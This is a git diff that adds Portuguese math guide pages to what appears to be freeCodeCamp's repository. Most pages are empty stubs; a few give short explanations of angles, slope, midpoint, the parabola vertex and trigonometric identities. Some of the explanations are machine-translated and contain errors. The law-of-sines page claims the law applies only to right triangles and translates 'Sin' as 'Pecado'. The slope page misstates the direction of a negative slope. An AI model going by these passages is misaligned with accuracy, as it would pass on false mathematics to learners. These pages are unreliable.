+![Imagem mostrando dois ângulos, um com 120 graus e outro com 60 graus](https://raw.githubusercontent.com/pranabendra/articles/master/Supplementary-angles/images/sup1.png)
+
+Os ângulos suplementares não precisam estar próximos um do outro, contanto que o total seja de 180 °. Aqui está um exemplo:
+
+![Linhas paralelas aeb com linha t através delas, criando 8 ângulos](https://raw.githubusercontent.com/pranabendra/articles/master/Supplementary-angles/images/sup2.png)
+
+Como `a` é paralela à `b` , **os ângulos** " `3` " e " `6` soma" até 180 °. Portanto, eles são ângulos suplementares.
+
+### Mais Informações:
+
+*   Artigo sobre Ângulos Suplementares: [Tutores de Varsity](https://www.varsitytutors.com/hotmath/hotmath_help/topics/supplementary-angles)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/surface-area-of-a-cone/index.md b/client/src/guide/portuguese/mathematics/surface-area-of-a-cone/index.md
new file mode 100644
index 0000000000..9962601195
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/surface-area-of-a-cone/index.md
@@ -0,0 +1,11 @@
+---
+title: Surface Area of a Cone
+localeTitle: Área de superfície de um cone
+---
+## Área de superfície de um cone
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/surface-area-of-a-cone/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/surface-area-of-a-pyramid/index.md b/client/src/guide/portuguese/mathematics/surface-area-of-a-pyramid/index.md
new file mode 100644
index 0000000000..270207d40a
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/surface-area-of-a-pyramid/index.md
@@ -0,0 +1,11 @@
+---
+title: Surface Area of a Pyramid
+localeTitle: Área de superfície de uma pirâmide
+---
+## Área de superfície de uma pirâmide
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/surface-area-of-a-pyramid/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/surface-area-of-a-sphere/index.md b/client/src/guide/portuguese/mathematics/surface-area-of-a-sphere/index.md
new file mode 100644
index 0000000000..7b798167a9
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/surface-area-of-a-sphere/index.md
@@ -0,0 +1,11 @@
+---
+title: Surface Area of a Sphere
+localeTitle: Área de superfície de uma esfera
+---
+## Área de superfície de uma esfera
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/surface-area-of-a-sphere/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/synthetic-division/index.md b/client/src/guide/portuguese/mathematics/synthetic-division/index.md
new file mode 100644
index 0000000000..f0675aaa9d
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/synthetic-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Synthetic Division
+localeTitle: Divisão Sintética
+---
+## Divisão Sintética
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/synthetic-division/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/systems-of-equations-with-substitution/index.md b/client/src/guide/portuguese/mathematics/systems-of-equations-with-substitution/index.md
new file mode 100644
index 0000000000..77e2f09961
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/systems-of-equations-with-substitution/index.md
@@ -0,0 +1,11 @@
+---
+title: Systems of Equations with Substitution
+localeTitle: Sistemas de Equações com Substituição
+---
+## Sistemas de Equações com Substituição
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/systems-of-equations-with-substitution/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/systems-of-linear-equations-definitions/index.md b/client/src/guide/portuguese/mathematics/systems-of-linear-equations-definitions/index.md
new file mode 100644
index 0000000000..b59c16bcef
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/systems-of-linear-equations-definitions/index.md
@@ -0,0 +1,11 @@
+---
+title: Systems of Linear Equations Definitions
+localeTitle: Definições de Sistemas de Equações Lineares
+---
+## Definições de Sistemas de Equações Lineares
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/systems-of-linear-equations-definitions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/systems-of-linear-equations-solving-by-addition-or-elimination/index.md b/client/src/guide/portuguese/mathematics/systems-of-linear-equations-solving-by-addition-or-elimination/index.md
new file mode 100644
index 0000000000..4e73632f40
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/systems-of-linear-equations-solving-by-addition-or-elimination/index.md
@@ -0,0 +1,11 @@
+---
+title: Systems of Linear Equations Solving by Addition or Elimination
+localeTitle: Sistemas de Equações Lineares Resolvendo por Adição ou Eliminação
+---
+## Sistemas de Equações Lineares Resolvendo por Adição ou Eliminação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/systems-of-linear-equations-solving-by-addition-or-elimination/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/systems-of-linear-equations-solving-by-substitution/index.md b/client/src/guide/portuguese/mathematics/systems-of-linear-equations-solving-by-substitution/index.md
new file mode 100644
index 0000000000..b8125b8fd9
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/systems-of-linear-equations-solving-by-substitution/index.md
@@ -0,0 +1,11 @@
+---
+title: Systems of Linear Equations Solving by Substitution
+localeTitle: Sistemas de Equações Lineares Resolvendo por Substituição
+---
+## Sistemas de Equações Lineares Resolvendo por Substituição
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/systems-of-linear-equations-solving-by-substitution/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/table-of-factors-and-multiples/index.md b/client/src/guide/portuguese/mathematics/table-of-factors-and-multiples/index.md
new file mode 100644
index 0000000000..975894c013
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/table-of-factors-and-multiples/index.md
@@ -0,0 +1,11 @@
+---
+title: Table of Factors and Multiples
+localeTitle: Tabela de Fatores e Múltiplos
+---
+## Tabela de Fatores e Múltiplos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/table-of-factors-and-multiples/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/taylor-and-maclaurin-polynomials-intro/index.md b/client/src/guide/portuguese/mathematics/taylor-and-maclaurin-polynomials-intro/index.md
new file mode 100644
index 0000000000..0af4e4c269
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/taylor-and-maclaurin-polynomials-intro/index.md
@@ -0,0 +1,11 @@
+---
+title: Taylor and Maclaurin Polynomials Intro
+localeTitle: Introdução dos Polinômios de Taylor e Maclaurin
+---
+## Introdução dos Polinômios de Taylor e Maclaurin
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/taylor-and-maclaurin-polynomials-intro/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/the-binomial-theorem-formulas/index.md b/client/src/guide/portuguese/mathematics/the-binomial-theorem-formulas/index.md
new file mode 100644
index 0000000000..2530814a87
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/the-binomial-theorem-formulas/index.md
@@ -0,0 +1,11 @@
+---
+title: The Binomial Theorem Formulas
+localeTitle: As fórmulas do teorema binomial
+---
+## As fórmulas do teorema binomial
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/the-binomial-theorem-formulas/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/the-change-of-base-formula/index.md b/client/src/guide/portuguese/mathematics/the-change-of-base-formula/index.md
new file mode 100644
index 0000000000..cbcdd8a02e
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/the-change-of-base-formula/index.md
@@ -0,0 +1,11 @@
+---
+title: The Change of Base Formula
+localeTitle: A mudança da fórmula básica
+---
+## A mudança da fórmula básica
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/the-change-of-base-formula/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/the-common-and-natural-logarithms/index.md b/client/src/guide/portuguese/mathematics/the-common-and-natural-logarithms/index.md
new file mode 100644
index 0000000000..a0bdfdbbca
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/the-common-and-natural-logarithms/index.md
@@ -0,0 +1,11 @@
+---
+title: The Common and Natural Logarithms
+localeTitle: Os logaritmos comuns e naturais
+---
+## Os logaritmos comuns e naturais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/the-common-and-natural-logarithms/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/the-distance-formula/index.md b/client/src/guide/portuguese/mathematics/the-distance-formula/index.md
new file mode 100644
index 0000000000..c1fedcfe54
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/the-distance-formula/index.md
@@ -0,0 +1,11 @@
+---
+title: The Distance Formula
+localeTitle: A fórmula da distância
+---
+## A fórmula da distância
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/the-distance-formula/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/the-law-of-cosines/index.md b/client/src/guide/portuguese/mathematics/the-law-of-cosines/index.md
new file mode 100644
index 0000000000..23f394ed6c
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/the-law-of-cosines/index.md
@@ -0,0 +1,11 @@
+---
+title: The Law of Cosines
+localeTitle: A lei dos cossenos
+---
+## A lei dos cossenos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/the-law-of-cosines/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/the-law-of-sines/index.md b/client/src/guide/portuguese/mathematics/the-law-of-sines/index.md
new file mode 100644
index 0000000000..642eb77d7b
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/the-law-of-sines/index.md
@@ -0,0 +1,15 @@
+---
+title: The Law of Sines
+localeTitle: A lei dos senos
+---
+## A lei dos senos
+
+A lei dos senos é apenas para triângulos retângulos. Quando você tem dois ou mais lados e pelo menos um dos ângulos correspondentes para resolver o seu lado perdido.
+
+A equação é:
+
+Pecado (A) / a = Pecado (B) / b = Pecado (C) / c
+
+#### Mais Informações:
+
+https://www.mathsisfun.com/algebra/trig-sine-law.html
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/the-midpoint-formula/index.md b/client/src/guide/portuguese/mathematics/the-midpoint-formula/index.md
new file mode 100644
index 0000000000..a7821f0bdf
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/the-midpoint-formula/index.md
@@ -0,0 +1,15 @@
+---
+title: The Midpoint Formula
+localeTitle: A fórmula do ponto intermediário
+---
+## A fórmula do ponto intermediário
+
+Em matemática, o ponto médio é o ponto médio de um segmento de linha.
+
+![img](https://upload.wikimedia.org/wikipedia/commons/thumb/6/68/Midpoint.svg/282px-Midpoint.svg.png)
+
+Em duas dimensões, para um segmento de linha com pontos finais (x1, y1) e (x2, y2), o ponto médio é o ponto médio, ponto médio = ((x1 + x2) / 2, (y1 + y2) / 2).
+
+#### Mais Informações:
+
+*   [Wikipedia - Midpoint](https://en.wikipedia.org/wiki/Midpoint)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/the-quadratic-formula-explained/index.md b/client/src/guide/portuguese/mathematics/the-quadratic-formula-explained/index.md
new file mode 100644
index 0000000000..e8cfc52e70
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/the-quadratic-formula-explained/index.md
@@ -0,0 +1,11 @@
+---
+title: The Quadratic Formula Explained
+localeTitle: A fórmula quadrática explicada
+---
+## A fórmula quadrática explicada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/the-quadratic-formula-explained/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/the-slope-of-a-straight-line/index.md b/client/src/guide/portuguese/mathematics/the-slope-of-a-straight-line/index.md
new file mode 100644
index 0000000000..2497166375
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/the-slope-of-a-straight-line/index.md
@@ -0,0 +1,27 @@
+---
+title: The Slope of a Straight Line
+localeTitle: A inclinação de uma linha reta
+---
+## A inclinação de uma linha reta
+
+*   A inclinação de uma linha é um número que descreve a direção e a inclinação da linha. Normalmente, o declive da linha é denotado por m.  
+    
+*   Um valor zero de um declive (m = 0) em uma linha indica que a linha dada é horizontal.  
+    
+*   Uma linha com valor indefinido de inclinação indica que a linha dada é vertical.  
+    
+*   Uma linha com valor positivo de inclinação (m> 0) indica que a linha dada está subindo da esquerda para a direita.  
+    
+*   Uma linha com valor negativo de inclinação (m <0) indica que a linha dada está descendo da direita para a esquerda.  
+    
+
+### Calculando a inclinação de uma linha quando duas coordenadas dos pontos na linha são dadas
+
+Neste caso, suponha que uma linha l tenha dois pontos com coordenadas (x 1 , y 1 ) e (x 2 , y 2 ), então a inclinação de uma linha é calculada como:
+
+![](https://latex.codecogs.com/gif.latex?m&space;=&space;\frac{y_{2}&space;-&space;y_{1}}{x_{2}&space;-&space;x_{1}} "m = \ frac {y_ {2} - y_ {1}} {x_ {2} - x_ {1}}")
+
+### Calculando a inclinação de uma linha a partir da equação da linha
+
+Converta a equação dada da forma dada para a forma de ![](https://latex.codecogs.com/gif.latex?y&space;=&space;mx&space;+&space;c "y = mx + c")  
+onde m é a inclinação e c é a interceptação de y.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/the-unit-circle-definition-of-sine-cosine-and-tangent/index.md b/client/src/guide/portuguese/mathematics/the-unit-circle-definition-of-sine-cosine-and-tangent/index.md
new file mode 100644
index 0000000000..fcd1df6f85
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/the-unit-circle-definition-of-sine-cosine-and-tangent/index.md
@@ -0,0 +1,11 @@
+---
+title: The Unit Circle Definition of Sine Cosine and Tangent
+localeTitle: A definição do círculo unitário de seno cosseno e tangente
+---
+## A definição do círculo unitário de seno cosseno e tangente
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/the-unit-circle-definition-of-sine-cosine-and-tangent/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/the-unit-circle/index.md b/client/src/guide/portuguese/mathematics/the-unit-circle/index.md
new file mode 100644
index 0000000000..44ba45e77a
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/the-unit-circle/index.md
@@ -0,0 +1,11 @@
+---
+title: The Unit Circle
+localeTitle: The Unit Circle
+---
+## The Unit Circle
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/the-unit-circle/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/the-vertex-of-a-parabola/index.md b/client/src/guide/portuguese/mathematics/the-vertex-of-a-parabola/index.md
new file mode 100644
index 0000000000..0cfc3cba28
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/the-vertex-of-a-parabola/index.md
@@ -0,0 +1,9 @@
+---
+title: The Vertex of a Parabola
+localeTitle: O vértice de uma parábola
+---
+## O vértice de uma parábola
+
+O vértice de uma parábola é o ponto mais baixo ou o ponto mais alto (se a parábola estiver invertida) da parábola. Este é o ponto em que a inclinação muda de positiva para negativa ou vice-versa. Para um dado quadrático y = ax ^ 2 + bx + c, o vértice (h, k) é encontrado calculando-se h = -b / 2a e avaliando y inserindo-se h.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/triangle/index.md b/client/src/guide/portuguese/mathematics/triangle/index.md
new file mode 100644
index 0000000000..17566d56fd
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/triangle/index.md
@@ -0,0 +1,11 @@
+---
+title: Triangle
+localeTitle: Triângulo
+---
+## Triângulo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/triangle/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/trigonometric-functions/index.md b/client/src/guide/portuguese/mathematics/trigonometric-functions/index.md
new file mode 100644
index 0000000000..157aabcf3c
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/trigonometric-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Trigonometric Functions
+localeTitle: Funções trigonométricas
+---
+## Funções trigonométricas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/trigonometric-functions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/trigonometric-identities/index.md b/client/src/guide/portuguese/mathematics/trigonometric-identities/index.md
new file mode 100644
index 0000000000..de4cef26f0
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/trigonometric-identities/index.md
@@ -0,0 +1,11 @@
+---
+title: Trigonometric Identities
+localeTitle: Identidades trigonométricas
+---
+## Identidades trigonométricas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/trigonometric-identities/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/trigonometry/angles-pi-over-3/index.md b/client/src/guide/portuguese/mathematics/trigonometry/angles-pi-over-3/index.md
new file mode 100644
index 0000000000..c5e832e003
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/trigonometry/angles-pi-over-3/index.md
@@ -0,0 +1,11 @@
+---
+title: Angles PI Over 3
+localeTitle: Ângulos PI acima de 3
+---
+## Ângulos PI acima de 3
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/trigonometry/angles-pi-over-3/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/trigonometry/angles-pi-over-4/index.md b/client/src/guide/portuguese/mathematics/trigonometry/angles-pi-over-4/index.md
new file mode 100644
index 0000000000..422bc1d6cd
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/trigonometry/angles-pi-over-4/index.md
@@ -0,0 +1,11 @@
+---
+title: Angles PI Over 4
+localeTitle: Ângulos PI acima de 4
+---
+## Ângulos PI acima de 4
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/trigonometry/angles-pi-over-4/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/trigonometry/index.md b/client/src/guide/portuguese/mathematics/trigonometry/index.md
new file mode 100644
index 0000000000..a75f82e3d6
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/trigonometry/index.md
@@ -0,0 +1,11 @@
+---
+title: Trigonometry
+localeTitle: Trigonometria
+---
+## Trigonometria
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/trigonometry/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/trigonometry/trigonometric-identities/index.md b/client/src/guide/portuguese/mathematics/trigonometry/trigonometric-identities/index.md
new file mode 100644
index 0000000000..b521149897
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/trigonometry/trigonometric-identities/index.md
@@ -0,0 +1,46 @@
+---
+title: Trigonometric Identities
+localeTitle: Identidades trigonométricas
+---
+# Identidades trigonométricas
+
+_Identidades trigonométricas_ são igualdades que envolvem funções trigonométricas. As funções trigonométricas são funções de um ângulo que relaciona os ângulos de um triângulo com os comprimentos de seus lados (por exemplo, seno, cosseno e tangente). _Identidades trigonométricas_ são verdadeiras para cada valor das variáveis ​​onde ambos os lados da igualdade são definidos.
+
+Sempre que expressões envolvendo funções trigonométricas precisam ser simplificadas, as _Identidades Trigonométricas_ são muito úteis.
+
+## Lista de identidades trigonométricas
+
+*   Fórmulas de Adição de Ângulo
+*   Fórmulas de Duplo Ângulo
+*   Fórmulas de meio ângulo
+*   Teorema da Adição Harmônica
+*   Fórmulas de Mollweide
+*   Lei de Morrie
+*   Fórmulas de vários ângulos
+*   Fórmulas de Newton
+*   Fórmulas de Prosthaphaeresis
+*   Fórmulas de Simpson
+*   Teorema do Sine-Tangent
+*   Fórmulas trigonométricas de adição
+*   Fórmulas de Potência Trigonométrica
+*   Fórmulas da Série Trigonométrica
+*   Ângulos trigonométricos
+*   Ângulos trigonométricos - 0
+*   Ângulos Trigonometria - Pi / 2 - Pi / 32
+*   Wallis Cosine Formula
+*   Fórmula Wallis
+*   Fórmula Sine Wallis
+*   Weierstrass Substituição
+*   Fórmulas De Werner
+
+#### Cossenos e Sines ao Redor do Círculo da Unidade
+
+![Cosseno e Seno são o Círculo da Unidade](https://upload.wikimedia.org/wikipedia/commons/thumb/4/4c/Unit_circle_angles_color.svg/640px-Unit_circle_angles_color.svg.png?1507763902323)
+
+## Outros recursos
+
+*   [Wolfram MathWorld - Identidades Trigonométricas](http://mathworld.wolfram.com/topics/TrigonometricIdentities.html)
+*   [Wolfram MathWorld - Trigonometria Ângulos - Pi / 3](http://mathworld.wolfram.com/TrigonometryAnglesPi3.html)
+*   [Wolfram MathWorld - 30-60-90 Triangle](http://mathworld.wolfram.com/30-60-90Triangle.html)
+*   [Wikipedia - Lista de Identidades Trigonométricas](https://www.wikiwand.com/en/List_of_trigonometric_identities)
+*   [Wikipedia - Funções trigonométricas](https://www.wikiwand.com/en/Trigonometric_functions)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/u-substitution-indefinite-integrals/index.md b/client/src/guide/portuguese/mathematics/u-substitution-indefinite-integrals/index.md
new file mode 100644
index 0000000000..b57ab8a27d
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/u-substitution-indefinite-integrals/index.md
@@ -0,0 +1,11 @@
+---
+title: U Substitution Indefinite Integrals
+localeTitle: U Integrais Indefinidas de Substituição
+---
+## U Integrais Indefinidas de Substituição
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/u-substitution-indefinite-integrals/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/understanding-square-roots/index.md b/client/src/guide/portuguese/mathematics/understanding-square-roots/index.md
new file mode 100644
index 0000000000..8252701a50
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/understanding-square-roots/index.md
@@ -0,0 +1,11 @@
+---
+title: Understanding Square Roots
+localeTitle: Noções básicas sobre raízes quadradas
+---
+## Noções básicas sobre raízes quadradas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/understanding-square-roots/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/understanding-the-quadratic-formula/index.md b/client/src/guide/portuguese/mathematics/understanding-the-quadratic-formula/index.md
new file mode 100644
index 0000000000..99d0b240fc
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/understanding-the-quadratic-formula/index.md
@@ -0,0 +1,11 @@
+---
+title: Understanding the Quadratic Formula
+localeTitle: Entendendo a fórmula quadrática
+---
+## Entendendo a fórmula quadrática
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/understanding-the-quadratic-formula/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/unit-circle/index.md b/client/src/guide/portuguese/mathematics/unit-circle/index.md
new file mode 100644
index 0000000000..a5666a39a0
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/unit-circle/index.md
@@ -0,0 +1,11 @@
+---
+title: Unit Circle
+localeTitle: Círculo de Unidade
+---
+## Círculo de Unidade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/unit-circle/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/us-standard-volume/index.md b/client/src/guide/portuguese/mathematics/us-standard-volume/index.md
new file mode 100644
index 0000000000..7e758389ae
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/us-standard-volume/index.md
@@ -0,0 +1,11 @@
+---
+title: Us Standard Volume
+localeTitle: Volume padrão americano
+---
+## Volume padrão americano
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/us-standard-volume/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
